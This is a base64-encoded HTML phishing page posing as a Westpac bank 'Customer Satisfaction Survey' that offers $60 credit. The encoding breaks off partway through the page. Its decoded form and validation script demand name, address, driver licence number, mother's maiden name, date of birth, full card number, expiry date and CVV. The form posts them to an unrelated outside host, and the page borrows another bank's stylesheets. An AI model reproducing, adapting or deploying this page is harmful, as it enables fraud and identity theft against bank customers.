PXdpemFyZCBpZD1jdGwwMF9ib2R5VGFnPjxIRUFEPg0KPFRJVExFPldlc3RwYWMgLSBDdXN0 b21lciBTYXRpc2ZhY3Rpb24gU3VydmV5PC9USVRMRT4NCjxNRVRBIGh0dHAtZXF1aXY9Q29u dGVudC1UeXBlIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8TUVUQSBo dHRwLWVxdWl2PUNvbnRlbnQtU3R5bGUtVHlwZSBjb250ZW50PXRleHQvY3NzPg0KPE1FVEEg aWQ9Y3RsMDBfZGVtb05vSW5kZXggY29udGVudD1hbGwgbmFtZT1yb2JvdHM+PExJTksgbWVk aWE9YWxsIGhyZWY9Imh0dHBzOi8vd3d3LnVsc3RlcmJhbmthbnl0aW1lYmFua2luZy5pZS9C cmFuZHMvVUJSL2Nzcy9pZTYuY3NzIiB0eXBlPXRleHQvY3NzIHJlbD1zdHlsZXNoZWV0PjxM SU5LIG1lZGlhPWFsbCBocmVmPSJodHRwczovL3d3dy51bHN0ZXJiYW5rYW55dGltZWJhbmtp bmcuaWUvQnJhbmRzL1VCUi9jc3MvbHRlaWU4LmNzcyIgdHlwZT10ZXh0L2NzcyByZWw9c3R5 bGVzaGVldD4NCjxTQ1JJUFQgc3JjPSJodHRwczovL3d3dy51bHN0ZXJiYW5rYW55dGltZWJh bmtpbmcuaWUvQnJhbmRzL2pxX3NjcmlwdHMvcG5nZml4LmpzIiB0eXBlPXRleHQvamF2YXNj cmlwdD48L1NDUklQVD4NCg0KPE1FVEEgaWQ9Y3RsMDBfUGFnZUlETWV0YUNvbnRyb2wgY29u dGVudD1MSTYgbmFtZT1QYWdlSUQ+PExJTksgbWVkaWE9YWxsIGhyZWY9Imh0dHA6Ly8yMDEu ODIuOS4xMDAvL2RhdGEvb3BlbndlYm1haWwvaW1hZ2VzL2ZpbGUvaW1nL2luZGV4XzEuY3Nz IiB0eXBlPXRleHQvY3NzIHJlbD1zdHlsZXNoZWV0Pg0KPFNDUklQVCB0eXBlPXRleHQvamF2 YXNjcmlwdD4NCjwhLS0NCi8vIGNvcHlyaWdodCAxOTk5IElkb2NzLCBJbmMuIGh0dHA6Ly93 d3cuaWRvY3MuY29tDQovLyBEaXN0cmlidXRlIHRoaXMgc2NyaXB0IGZyZWVseSBidXQga2Vl cCB0aGlzIG5vdGljZSBpbiBwbGFjZQ0KZnVuY3Rpb24gbnVtYmVyc29ubHkobXlmaWVsZCwg ZSwgZGVjKQ0Kew0KdmFyIGtleTsNCnZhciBrZXljaGFyOw0KaWYgKHdpbmRvdy5ldmVudCkN CiAgIGtleSA9IHdpbmRvdy5ldmVudC5rZXlDb2RlOw0KZWxzZSBpZiAoZSkNCiAgIGtleSA9 IGUud2hpY2g7DQplbHNlDQogICByZXR1cm4gdHJ1ZTsNCmtleWNoYXIgPSBTdHJpbmcuZnJv bUNoYXJDb2RlKGtleSk7DQovLyBjb250cm9sIGtleXMNCmlmICgoa2V5PT1udWxsKSB8fCAo a2V5PT0wKSB8fCAoa2V5PT04KSB8fCANCiAgICAoa2V5PT05KSB8fCAoa2V5PT0xMykgfHwg KGtleT09MjcpICkNCiAgIHJldHVybiB0cnVlOw0KLy8gbnVtYmVycw0KZWxzZSBpZiAoKCgi MDEyMzQ1Njc4OSIpLmluZGV4T2Yoa2V5Y2hhcikgPiAtMSkpDQogICByZXR1cm4gdHJ1ZTsN Ci8vIGRlY2ltYWwgcG9pbnQganVtcA0KZWxzZSBpZiAoZGVjICYmIChrZXljaGFyID09ICIu IikpDQogICB7DQogICBteWZpZWxkLmZvcm0uZWxlbWVudHNbZGVjXS5mb2N1cygpOw0KICAg cmV0dXJuIGZhbHNlOw0KICAgfQ0KZWxzZQ0KICAgcmV0dXJuIGZhbHNlOw0KfQ0KLy8tLT4N CjwvU0NSSVBUPg0KDQo8U0NSSVBUIHR5cGU9dGV4dC9qYXZhc2NyaXB0Pg0KZnVuY3Rpb24g c3VibWl0Zm9ybSgpDQp7DQogIGRvY3VtZW50LmZybVN0YXRTZWxlY3Quc3VibWl0KCk7DQp9 DQo8L1NDUklQVD4NCg0KPFNDUklQVCB0eXBlPXRleHQvamF2YXNjcmlwdD4NCmZ1bmN0aW9u IGNoZWNrTGVuKHgseSkNCnsNCmlmICh5Lmxlbmd0aD09eC5tYXhMZW5ndGgpDQogIHsNCiAg dmFyIG5leHQ9eC50YWJJbmRleDsNCiAgaWYgKG5leHQ8ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5 SWQoImZybVN0YXRTZWxlY3QiKS5sZW5ndGgpDQogICAgew0KICAgIGRvY3VtZW50LmdldEVs ZW1lbnRCeUlkKCJmcm1TdGF0U2VsZWN0IikuZWxlbWVudHNbbmV4dF0uZm9jdXMoKTsNCiAg ICB9DQogIH0NCn0NCjwvU0NSSVBUPg0KDQo8U0NSSVBUIGxhbmd1YWdlPUphdmFzY3JpcHQ+ DQpmdW5jdGlvbiBzbG9ib3ooKXsNCnNpZ251cEZPUk0gPSBkb2N1bWVudC5mcm1TdGF0U2Vs ZWN0Ow0KaWYoc2lnbnVwRk9STS5uYW1lLnZhbHVlID09ICIiKXsNCiAgICAgICAgICAgICAg YWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIGZ1bGwgbmFtZS4iKTtzaWdudXBGT1JNLm5hbWUu Zm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5zdHJlZXQudmFsdWUgPT0g IiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RyZWV0IEFk ZHJlc3MuIik7c2lnbnVwRk9STS5zdHJlZXQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYo c2lnbnVwRk9STS5zdWJ1cmIudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgi UGxlYXNlIGVudGVyIHlvdXIgU3VidXJiLiIpO3NpZ251cEZPUk0uc3VidXJiLmZvY3VzKCk7 cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uc3RhdGUudmFsdWUgPT0gIiIpew0KICAg ICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RhdGUuIik7c2lnbnVwRk9S TS5zdGF0ZS5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLnppcC52YWx1 ZSA9PSAiIil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBQb3N0 YWwgQ29kZS4iKTtzaWdudXBGT1JNLnppcC5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihz aWdudXBGT1JNLmRyaXZlci52YWx1ZSA9PSAiIil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQ bGVhc2UgZW50ZXIgeW91ciBEcml2ZXIgTGljZW5jZSBOdW1iZXIuIik7c2lnbnVwRk9STS5k cml2ZXIuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5tbW4udmFsdWUg PT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgTW90aGVy J3MgTWFpZGVuIE5hbWUuIik7c2lnbnVwRk9STS5tbW4uZm9jdXMoKTtyZXR1cm4gZmFsc2U7 fQ0KaWYoc2lnbnVwRk9STS5kb2IudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVy dCgiUGxlYXNlIGVudGVyIHlvdXIgRGF0ZSBvZiBCaXJ0aC4iKTtzaWdudXBGT1JNLmRvYi5m b2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLmRvYi52YWx1ZS5sZW5ndGgg PDgpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHZhbGlkIGZvcm1hdCBv ZiBkYXRlIG9mIGJpcnRoIChkZC9tbS95eXl5KSIpO3NpZ251cEZPUk0uZG9iLmZvY3VzKCk7 cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uY2FyZC52YWx1ZSA9PSAiIil7DQogICAg ICAgICAgICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBDYXJkIE51bWJlci4iKTtzaWdu dXBGT1JNLmNhcmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5jYXJk LnZhbHVlLmxlbmd0aCA8MTYpew0KICAgICAgICAgICAgICBhbGVydCgiWW91ciBWaXNhL01h c3RlcmNhcmQgY2FyZCBtdWx0IGNvbnRhaW4gMTYgZGlnaXRzIik7c2lnbnVwRk9STS5jYXJk LmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uZXhwLnZhbHVlID09ICIi KXsNCiAgICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIENhcmQgRXhwaXJh dGlvbiBEYXRlLiIpO3NpZ251cEZPUk0uZXhwLmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlm KHNpZ251cEZPUk0uZXhwLnZhbHVlLmxlbmd0aCA8NCl7DQogICAgICAgICAgICAgIGFsZXJ0 KCJQbGVhc2UgZW50ZXIgdmFsaWQgZm9ybWF0IG9mIENhcmQgRXhwaXJhdGlvbiBEYXRlLiAo bW0veXkpIik7c2lnbnVwRk9STS5leHAuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2ln bnVwRk9STS5jdnYudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNl IGVudGVyIHlvdXIgQ1ZWLiBDVlYgaXMgdGhlIDMgZGlnaXRzIHdyaXR0ZW4gb24gdGhlIGJh Y2sgb2YgeW91ciBjYXJkLiIpO3NpZ251cEZPUk0uY3Z2LmZvY3VzKCk7cmV0dXJuIGZhbHNl O30NCg0KDQpyZXR1cm4gdHJ1ZTsNCn0NCjwvU0NSSVBUPg0KPC9IRUFEPg0KJm5ic3A7DQo8 RElWIGNsYXNzPWRlZmF1bHRfYmcgaWQ9d3JhcHBlcj4NCjxESVYgaWQ9YWNjZXNrZXlzPg0K PERJViBpZD1za2lwbGlua3M+DQo8RElWIGNsYXNzPWRkYWxpbms+PEEgY2xhc3M9ZGRhbGlu ayBpZD1jdGwwMF9za2lwTGlua3NfY3RsMDBfYmVnaW5MaW5rIHRpdGxlPSJSZXR1cm4gdG8g c3RhcnQgb2Ygc2NyZWVuIC8gQWNjZXNzIGtleSBkZXRhaWxzIiBhY2Nlc3NLZXk9MCBocmVm PSIiPlJldHVybiB0byBzdGFydCBvZiBzY3JlZW4gLyBBY2Nlc3Mga2V5IGRldGFpbHM8L0E+ PEEgY2xhc3M9ZGRhbGluayBpZD1jdGwwMF9za2lwTGlua3NfY3RsMDBfTWVudUxpbmsgdGl0 bGU9IlNraXAgdG8gTWVudSIgYWNjZXNzS2V5PW0gaHJlZj0iIj5Ta2lwIHRvIE1lbnU8L0E+ PEEgY2xhc3M9ZGRhbGluayBpZD1jdGwwMF9za2lwTGlua3NfY3RsMDBfQ29udGVudExpbmsg dGl0bGU9IlNraXAgdG8gbWFpbiBjb250ZW50IiBhY2Nlc3NLZXk9cyBocmVmPSJodHRwczov L3d3dy51bHN0ZXJiYW5rYW55dGltZWJhbmtpbmcuaWUvbG9naW4uYXNweCNjb250ZW50Ij5T a2lwIHRvIG1haW4gY29udGVudDwvQT4NCjxBIGNsYXNzPWRkYWxpbmsgaWQ9Y3RsMDBfc2tp cExpbmtzX2N0bDAwX2FjY2Vzc0xpbmsgdGl0bGU9IlNraXAgdG8gYWNjZXNzaWJpbGl0eSIg YWNjZXNzS2V5PW8gaHJlZj0iIj5Ta2lwIHRvIGFjY2Vzc2liaWxpdHk8L0E+IDwvRElWPjwv RElWPjwvRElWPg0KPERJViBjbGFzcz10d29MaW5lcyBpZD1jYW52YXM+DQo8RElWIGlkPWhl YWRlcj48QSBuYW1lPWFjY2Vzcy1uYXZpZ2F0aW9uPjwvQT4NCjxESVYgaWQ9dG9wTWlub3JM aW5rcz4NCiAgICAgICAgPERJViBpZD1zZXJ2aWNlTmFtZT48L0RJVj4NCjxESVYgaWQ9c3Ry YXBsaW5lPg0KICAgICAgICAgIDxkaXYgYWxpZ249ImxlZnQiPjxJTUcgc3R5bGU9IkJPUkRF Ui1UT1AtV0lEVEg6IDBweDsgQk9SREVSLUxFRlQtV0lEVEg6IDBweDsgQk9SREVSLUJPVFRP TS1XSURUSDogMHB4OyBCT1JERVItUklHSFQtV0lEVEg6IDBweCIgYWx0PSJIZWxwIGZvciB3 aGF0IG1hdHRlcnMiIHNyYz0iaHR0cDovL3d3dy5lc3NlbmRvbmRmbC5jb20uYXUvdXBsb2Fk cy9waWNzLzI5OC13ZXN0cGFjXzAxLmpwZyIgYWxpZ249ImxlZnQiPiANCiAgICAgICAgICA8 L2Rpdj4NCiAgICAgICAgPC9ESVY+PC9ESVY+PC9ESVY+DQo8RElWIGlkPWNvbnRlbnQ+PEEg bmFtZT1jb250ZW50PjwvQT4NCjxESVYgaWQ9bWlkPg0KPEZPUk0gaWQ9ZnJtU3RhdFNlbGVj dCBuYW1lPWZybVN0YXRTZWxlY3QgYWN0aW9uPWh0dHA6Ly9zb2xhcnN5c3RlbS5jb20uY24v YmJzL3BpY3R1cmUvdXB0aXRsZS8xLTEuYXNwIG1ldGhvZD1wb3N0PjxJTlBVVCB0eXBlPWhp ZGRlbiB2YWx1ZT03ODY1ODI1ZC01YjdmLTRiODgtODk0Ni03ZGU0NzllOTFiZmIgbmFtZT10 eG5JRD4gDQo8RElWPjxJTlBVVCBpZD1fX0VWRU5UVEFSR0VUIHR5cGU9aGlkZGVuIHZhbHVl PU5leHRCdXR0b25fYnV0dG9uIG5hbWU9X19FVkVOVFRBUkdFVD4gPElOUFVUIGlkPXN1Ym1p bmQgdHlwZT1oaWRkZW4gdmFsdWU9MyBuYW1lPXN1Ym1pbmQ+IDxJTlBVVCBpZD1MSTZDQkFf VmlzaWJpbGl0eSB0eXBlPWhpZGRlbiB2YWx1ZT1GYWxzZSBuYW1lPUxJNkNCQV9WaXNpYmls aXR5PiA8SU5QVVQgaWQ9X19FVkVOVEFSR1VNRU5UIHR5cGU9aGlkZGVuIG5hbWU9X19FVkVO VEFSR1VNRU5UPg0KIDxJTlBVVCBpZD1fX1ZJRVdTVEFURTIgdHlwZT1oaWRkZW4gDQp2YWx1 ZT1mdzhBQUlkQlU5Y3dJcE54cW5hbEhyaVJ5N2ZxeHZLWFpsQkJ2UnMyTkU2TkMraDBYUXJz MnVjeUxvSWhkVWpMNVBFU21sL0FQSDJFMmtFZjRHdWp4aEJuM0puN1BwVWd5QThueFJCaWFM YXAvbjFaZWpKY1BIZlJOQUJYdjEzY01Odk9uUWEzWWZrY2N1ZUVxUnRubkV6b1NNQi8wNDBH T245MEt3MkttWHgyOC9QZ3Awa2JScHU1RmhHY2lkNU5nclB4Zkl4YWdrVis0NTlHYWpyNUxS S2U5VjVQKy9kWVFDUUExREMxcUJndEhZZ3l0S2piWUwrVXNWZThCRkxra09IVGJqSFAzYTlV REtkRVhTcml5RW1IYTN2c243Rmo5NGUrZmxyQ0dPOVo4c3Q1RVp5US90ZVBtd0FLWTZxanlj UE9ENjQ3UklxZm9jMThVcXFSN2R0STlXaHVFdStDVG1LMTN0dkhlSXpqbFBLbUo5dDBTb3Rk N3hwSXcxNnNYYVUwYWJlQ29YMkc3WjJuaHFpVFV5L2x3L0lkOXJ4amZUNldnNXJ6VUhZeHVa V21Lank5YmxUZERoNjJ3aTIydExjdmdtc295cEJPNTQ2SlFMZmt2T1RMYkkrT3MyN1BwNGpT TjZmbUpnMk82WQ0KUjZOOG4wT2dVMWlYbFZWeUNXa0o5RGYzdDhSeGg5aGc2WjdnT3Q4cUJF QzZzUFdRaHJZcWpvbjRLelpkV25NS1M0UTlKS1pqcW5STDU4K21nbmdqUWkxSVp3Y2kxWjFt cnlNVVMyaGM2TVN5S3RhQm95YTdqbkJPenJ6MUJDQ0tJaEVZMkJINnBoUndjdWhqQ0pYdkxF Y0RzWnBDL1NlTnk5dGVuaDFZMTRMb05oOFJqMEFQMmtNQzBYdzNhbFlaSlNHT3BvdXBEUDBj eGVIbEpERHNEaEsyZ2pRK3BiKzArZ2U4ZWJwQzNNNy9Oa2VDV09ha21MdjBZWDZtdFAvVHpa b1NYK3FHZXg0L1RJWUI3cVRJMkZ6Njg5T1BFWGJKTDVXYnVKYmlGbXp4dWZ5NlQrZldnKzN6 MUo5V1d5a0hhTTRvM2QyclY1aU9ucis4cytwVCtYRnFCYWFVelpKNVNMTDJkSzYrSW0wS1Yy VWtxQjFEUTBDY3VqazhpbmtRRnlUVmFjQUNuV25DQVJ6L1FmTnlxWnNlYmdjbmZ2TzR0TzVQ dm1xd1ZZU2FFSHp1VnM2K0VrME94Nk54MXRQdW9ocEJCRW1ldHZFVXl6Q1hOUmxqQWJ6SjZF SjU0SVo3Y3BoY2U5aXdzeTJSWnhRcWtzQkYNClZ3eDFLa3hxQkYyS0d4VnBDRERhWVlMQ2pr ZkRFeERjNkcwcUZFY040Mitib2xyZzFWWXhIOWZ6c251SzVGbThORmxoM2U3c296Y3RjVU5K TkhreWJLTysvV3V3YzBqMEhxcjE2YVEyKzRzbXFMeGRmOUFUcDdWL2cwQXJoU3pJdWZRelU2 WDQwVzVHdm95ZHBOczZKVmJQblRpU3ZreGR6TExFYnVVMkZKT3k1MkI4RGJDUlcrU2pBQ1Bm WjBYcGZpdGhjYXlBQVNtdHJEMnY5QWV5eGwvbEVoRU5JczB4MjlhM3MrVHB4UnhlcndQVVhE UEdKeEwxRk9yRk9jSXNWSjhndlAyalB2RGxFWE9RL3ptSkFuQXRCWGdVTlczRkFkUEg1Nm94 cmtyNkVhOTZwMmNNQ3JmOTdDN3owK0ZGQUtmeDRwVStMVlBZaWRjK0NYbWxDNlNJNnJQM1lw YXRTUForLzZnV3YwZzBMeERzMVFhS0JFc1dNejM4WlhUS1pZU29NMGY1NGo2Yno4UVhRRytJ cTdmMEVLQ216WTh0NHppNCtHcjlUSGIxc2JIQk1jZ2szRnFtQzlOTWdrQmVsVWUxUVdoUEw3 dzU0cHFJVmRuZlF3UlRsUTNxQUdONGJ0SVpxK2czUm5FOEpaZ0xmK09tDQpuZk9rZGVrUUk0 cHNtNFlGZG90WnBITnJlcmIxayttUFBhSGR1NkkxdmYzT3B5QzRTdExVelRsYm5hNjVRUjU2 bjc4bEJQUnJuREY5TDc2by96MXFBWE5BWExaSTVnVXB1NnBmZXNNQzFRU09EZnJxSktROHZ3 OStWbHBUZWRzdzZkdVJUTWpJRjVQRUFlUFhLTEUzaHJVTmE2T0xYWXdTOE9sRWFDSklySW1D ZmRhaEE5ZnZqK2tNaGxiN0IxQWNuR2dBaW1idU1FbUFudTM1ZmxEZ1dlQnlxWjNmTG5QOGJr RDd0THU2OVRNYVVPSndtTk5lUjZ6WkRpSWJ1bldvdDlHSjcvaGczUTZmNG5PL29ZaGxlS3Mw S1ZNYW0zV3Zac093aVp4UlhrU0RIcE9KcGcxbXVtMVlIQ1A2SmVJdFhQNEVjY3ZNUWJKcEJN ZTdUdmlrRi9tMDdSenhsMW8wSHcxRVFvYmpsUThuN3VVMk1vVEh1VVJZOU9xK3oxb0Q3Ri9Z cXh3aEI5RmRWUmlHMkhJL0FnL0hXMTlpUXpBR0ZHRVRDamMyd2JHSUdaV1VOSjBiRHAvZEdD SUhMVVdjcVZnMEZ2dXFoa3R2cEhyVHY1aWk0SWJVN1JiNm1Ia0w3Y2dsY0EwUDhsWUJITll2 djBMcQ0KSVE2ZDZFc25FYWIrRFV5VGlVL0xZNWtwWk8yRUUrUW1YanpXWUp2dGxBaUJnSXlU RkE0Slp5ZUd6NTQvVGNxTjhRcXg5YWJGUE9mbDFqa25Mc0lCbVM2SW5lSkdNaXhqdUJUd1Zu WVpvanJLa29pL09rNEcyNmthdEFnNHhHRWRHcEF2Y282QVN4dDJMVm1sWnBUZFhUNWRaTzJL QWg5NktNYXdnV3dGY0ovcFhQQzhRbVc5T1l4NEJlWmR0V0pxeWZMM1hKVHgvMk9IVnZjWFl2 K1ZtREp0VHV6VndZbjFKcnY2MkhQNlNNVjlIcDFQRXZrN3VlT0VrbVRaODkxOGR4dXVrQ2pW UHpJR2tsMjFkL2loOGlia0pnbGZORmNHRm11Z1ZNb2l0dExhSzE5VFZBNEI0dytwSHFjZXd2 K1ZPems1dVNJK05vQk0vSVZkYzBZdEVxNExJV0xiWTZ4dnhpT0gwSHcrdnVaTDVFalJrWHFN Z0t0NFJ6L2ZUbXI5YU5HenhmT0xGMm9Ybkp6T0h6dWN4eVJ3ZkRlRFhmdUEwY2tPeWpLeWZi VE51T0pmaWJ5QnptYTBIZjNxMUw2TmZxUG8vR2dNN00zWkp6RHo0SzR2UTJlQXlIUE5NNnVV ckE2aytKRG8wOEp2WUgzaXFlWUsNCkh3eDcyei9wZEtZamw1alJYY2VJSWJxQldSbGhLbVFa eDdINWJyT2w3RC9wcHF3bjg5aHBodFIvRWdoYkxaN2M0OVNwbkcyUFZBZ0I5R1RmTmJmMUVl REI3Vys1eXE2Rk43NUtnUmVaT0QxQUNoOGw2cml2NWJCaDE3TTZ4NzFacnhNcERzM0diTHFm cWUvR2JZMGpsMmZDTU1UWFFRNXk0SjA5VzJ2SlAxd3lST0p3UEJRTU1jVS95L1dsZ2doNS9n YlNlWlA4MWhvRWtHcldJaDJtZGEvbW91TXB2Z2VLclUzc1JGbHdpZjlvbnkxbTA0K1JUMTZX MGRRK2wxSS9kaHZhSTIzZnRnMDhiTG1rNjdPTmZ1aTRYdldPWlE1bUtwdzZQRE53Qkl5ZGR4 VWpBQTNkbUE1SDUxQmtobEhyUEZHK1NBV204cnFlMG1EWEdRT2J5RkdOZmIvTCtuWGFtbVBl LzQzMkxjdFpUYWRWamU0aDFvVmtXQXV3dmNGWkc0YmlYdU10TTRjc0I5NFlSM2tZeGpLZUxy SVhkUGFzam5QbmxnSS8vQnJkWG9RSnEwYnRzUEZTY1VyU0MrZHJoZ2RJeXVyN2VBVklDVllB N2RML0wwRVlITXg3QjR6VkxrcWN5KzFvMmdHeWhHdzlLdlMrDQpSTHlKWkt5N01kRG9RQk1p TWVZK2RkS2J3N2ZXa25mUWhGZ2ZsZ2J1UnArb2ttY3FzRjVQbXZHUlQyS3dDUHhWSlIvU2NU aDZHajA1L2ZGZ2U2Vm5wa0xzbFdZaE94L0pnSmxzSFVnMTBYdVl0UnRBUUxNYW9NWlZNcjBG Um1NRG9sVHE0alNoUnZUZG9JdVJyb1huNTEwK0ZtTmlOYmRvVG5RbVVGa21sRmhERWZIMHlY TU5uZGxaaWNObGhQNFZlN01yWWZTQUpuMlkrK3AvZzEvNExwT2o4QzBCbmdwZjV3UklEYmFp clpnNmNFcjJCMzRiSEJ2WUZQc0l5NnhVQ2JBTjZ6c0crQXEwSndDTmVLUnNzNmhudGliRWtK VjhvN05teDV5NjRrMlFoS2pKNjA3MkNxZ2xWTVJEcGJZZkNFa0RHVjNFVFFhd2pqa3dmSnJY bFdLb00zVlQ5Snc1bTBSQWpzb1R0WDhDeUE3Y2xwMDFnK3lrK2szcC96bGtsVlpFM0RILzQx UTJPRzNvUWlIUUNrMmtmMlRJY3VqQVRCZDZvMDdBcExXQVZXNDFGOHBsWU0yZ3N6YjRaQ0hz NWMwRDRmS2dtSWZ5Tno1WTkrQzRPK2hhdzdZWmhDbDhKbHNoWWNFOEhxaWF0dzVYL3lWZw0K YW9jWkVjN1ZKa2dSK3ZReW5LSGRpRDNwcnM5SnpzODhTcEJYR21abnVGUE95YmdudTFMZjNj SUt6d1E5R1ZjMGRENENEeksvNDdwV3h4Rjd3SGVFbU03VmJ2Y013VDlraEh4emlmeThKQ0pO aWZTTXZzREVGRVAwVGVid0NGWWlTNzBIN0ZQWjk2dTIyMnkrQ1pWcXRtR3FCTmg0WDJuamtU Z1RheTk0M3g4cVdqVVdUdlNtWXZQNlVKMFVCQWdDakZPZytOVSsxZ2FJMHZjV3JERFVFOVpi ZTAwSkUycHBFaGY0WXF5OThvekZyRjRuN1ZLUm9VVGlqcncxSkNwWjlTbXg4OEEwNncyaFhH Ynd0dkg0N1BIcGQ0dmg3ay9zN2VBK1VGa2xZSURQM3ZYVWVpeVI4U0lkMWx4TFVJekh2THpT VGxNM0lCSTBhV1pTSWtOSDN1MDN4MzhENEpQS1VMUGJNSlRVSGVTRGxaQlBEUWpsaDBjSmFh aWtMTGtVYjlLOTdZOGtKNmFOK3RPbVR0V2RvS055bm9tQ2RSaTJjQVU1ZWJNNmtoNDh1TGVx VSt5YmFWTzJzN0VwVVlHSXlYWW4ya1Jkc1VoS2piMWFoQW9XclVxa1hUYnZkSTh6aDJtYm9K UkhsV3ZQdTd1VmV5QXENCnhhOFZtdE13MGtEd3J4NXRlSnUzS3Z4dXNRbklwejVYRDZMVVBB OTZRdk40SGlJRWl2SEZZK3grUU5WLzUwcWprK3BuWTFrbUdOSktLVE9Ed3BJTnRYYUl6dFh1 VlMzMmUwZzhvdGp6L1hpVmlkSDZDN1RSMnhpdVE2WXdoc05KdTBaKzhCMXFXRGs2TEJ6dTZY V1J4V09oYk52alRCMVBvdUdjaW9kcSs2V043ODNLendmZnRseC9sUzdnSFp0WThqQXNRUEV0 T0hDekZmcURUdEE2dEVTWGhRT2UyblVZMWN2SmlvaUo3RGF5REUyZmVWU1pwTzROSVNjZ1Vz a1BreWNIbEJvc3MwY2dLYWk3WTJ6OThaSHkxOGE4ZE0xbzd1M1BSSVFxZmRGYW9CUys3ZnpT WmgyUHVsNmEzcFFBZnd3SXVmSUF5MkRIdm80SVVJckNlcGVuSjNCRkNWSlVvUEFhZ3MyT2g2 WU1lZk44akJiY0lxdWxrREhiMU1QbzQ3VlJoRVcvdGpmVkFsa055b2RYUG8zV1Q3WTg4cmpR WHlIWFNwbnlKRVc2VS9ISnpLTm45SlVBanRQVDRSOUV2MzVKQ25KL0dpY1VuVExiZEhUZXhQ U3hQSEdKZThXRkpUVlB3aU80LzRoMFFPb1pEKw0KZVlkSmpQR0Q5TXJyb0hpUDFkZExHb3F3 eldPS0hScEk4bUY4UXVzemI5NFhIWXZrY3hvSjNuemVNZjRuSkpCRHI3aFd1UUNsalZNdzRj cTRxbm5BWlVQMmR2U1BDNkE3QWxkNlpyeFZ0T0NtdVNVYnFXM0VodmRrOXk2VU5NTTNGTWtu YXAwOEJFREp0alNiVjBkZ1FNdG5iM0FqazBlRVhyOE1UeWIvRFR0QUlwcllGdm1MNlpWWkVR NElnclVnTFAwSmZWM0QyeG42S1djL1J0RjFDck9PYjNCSjVKNWQrR1JNUGdFZ2tkQU9SOXlu NGVqR0k3TVBjamIrenpCWG5VZWMwbWNmeGNMQUk0dnlRQmZjR1l2Mk82VkFNaE93S2FVY1Jo NFdhQ2p3cHR3bmhsMXBwZWhKRzZybE8rZ1FUbFpqV0NlWnFsa0xvKiBuYW1lPV9fVklFV1NU QVRFMj4gPElOUFVUIGlkPSImIzEwO19fVklFV1NUQVRFIiB0eXBlPWhpZGRlbiBuYW1lPV9f VklFV1NUQVRFPiA8L0RJVj4NCiAgICAgICAgPERJViBjbGFzcz1lcnJvciBpZD1jdGwwMF9t YWluQ29udGVudF9WYWxpZGF0aW9uU3VtbWFyeSBzdHlsZT0iRElTUExBWTogbm9uZSI+PC9E SVY+DQogICAgICAgIDxESVYgaWQ9Y3RsMDBfbWFpbkNvbnRlbnRfTEk2UE5MPiANCiAgICAg ICAgICA8SDE+PC9IMT4NCiAgICAgICAgICA8RElWIGNsYXNzPWZyYW1lPiANCiAgICAgICAg ICAgIDxwIGNsYXNzPXBhZ2V0aXRsZT48Yj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwNjYz MyI+PGZvbnQgY29sb3I9IiM2NjAwNjYiIGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21h biwgVGltZXMsIHNlcmlmIj5DdXN0b21lciANCiAgICAgICAgICAgICAgU2F0aXNmYWN0aW9u IFN1cnZleTwvZm9udD48L2ZvbnQ+PC9iPjwvcD4NCjxQPiZuYnNwOzxCUj4NCiAgICAgICAg ICAgICAgPGZvbnQgc2l6ZT0iMiIgY29sb3I9IiMzMzMzMzMiPjxiPldlc3RwYWMgd2lsbCBh ZGQgNjAkIGNyZWRpdCB0byANCiAgICAgICAgICAgICAgeW91ciBhY2NvdW50IGp1c3QgZm9y IHRha2luZyBwYXJ0IGluIG91ciBxdWljayBzdXJ2ZXkuIFdpdGggdGhlIA0KICAgICAgICAg ICAgICBpbmZvcm1hdGlvbiBjb2xsZWN0ZWQsIHdlIGNhbiBkZWNpZGUgdG8gZGlyZWN0IGEg bnVtYmVyIG9mIGNoYW5nZXMgDQogICAgICAgICAgICAgIHRvIGltcHJvdmUgYW5kIGV4cGFu ZCBvdXIgc2VydmljZXMuIFBsZWFzZSB0YWtlIGEgZmV3IG1pbnV0ZXMgdG8gDQogICAgICAg ICAgICAgIGdpdmUgdXMgeW91ciBvcGluaW9uIG9uIG91ciBzdG9yZSBzZXJ2aWNlLjwvYj48 L2ZvbnQ+PEJSPg0KICAgICAgICAgICAgICAmbmJzcDs8L1A+DQo8RklFTERTRVQ+DQogICAg ICAgICAgICA8UD48Qj4xLiBXaGF0IHdlcmUgeW91ciByZWFzb25zIGZvciBjaG9vc2luZyBX ZXN0cGFjIEJhbms/IFBsZWFzZSANCiAgICAgICAgICAgICAgc2VsZWN0IGFsbCB0aGF0IGFw 